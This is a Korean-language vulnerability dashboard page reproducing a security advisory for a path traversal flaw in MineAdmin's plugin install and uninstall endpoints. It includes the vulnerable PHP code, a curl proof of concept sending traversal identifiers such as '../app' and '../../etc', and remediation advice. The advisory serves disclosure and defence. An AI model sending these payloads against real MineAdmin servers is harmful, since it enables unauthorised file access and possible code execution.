Kestrel
대시보드로 돌아가기
CVE-2026-55224HIGHGHSA대응게시일: 2026. 08. 18.수정일: 2026. 08. 18.

MineAdmin Vulnerable to Path Traversal via Unsanitized identifier in Plugin Install/Uninstall

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

bash
1// Line 32 - download(): path traversal via identifier
2public function download(array $params): bool
3{
4 if (empty($params['identifier']) || empty($params['version'])) {
5 $this->throwParamsFail();
6 }
7 $service = make(AppStoreServiceImpl::class);
8 if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) { // Path traversal
9 $result = $service->download($params['identifier'], $params['version']);
10 // ...
11 }
12 return true;
13}
14
15// Line 48 - install(): path traversal + Plugin::install() with raw identifier
16public function install(array $params): bool
17{
18 // ...
19 $path = BASE_PATH . '/plugin/' . $params['identifier']; // Path traversal
20 if (file_exists($path . '/install.lock')) {
21 $this->throwAppInstalled();
22 }
23 Plugin::install($params['identifier']); // May run composer commands with traversal path
24 return true;
25}
26
27// Line 70 - unInstall(): same pattern
28public function unInstall(array $params): bool
29{
30 // ...
31 $path = BASE_PATH . '/plugin/' . $params['identifier']; // Path traversal
32 Plugin::uninstall($params['identifier']); // Arbitrary uninstall
33 return true;
34}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

text
1#[Controller(prefix: 'admin/plugin/store')]
2#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
3// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

bash
1# Install a "plugin" from a traversed path, potentially triggering composer on
2# arbitrary directories
3curl -X POST "http://localhost:9501/admin/plugin/store/install" \
4 -H "Authorization: Bearer <JWT_TOKEN>" \
5 -H "Content-Type: application/json" \
6 -d '{"identifier": "../app", "version": "1.0.0"}'
7
8# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
9# Plugin::install("../app") processes the application directory as a plugin
10
11# Check if arbitrary path exists:
12curl -X POST "http://localhost:9501/admin/plugin/store/download" \
13 -H "Authorization: Bearer <JWT_TOKEN>" \
14 -H "Content-Type: application/json" \
15 -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

  • Path traversal enables reading directory existence outside the plugin directory
  • Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
  • Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
  • Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.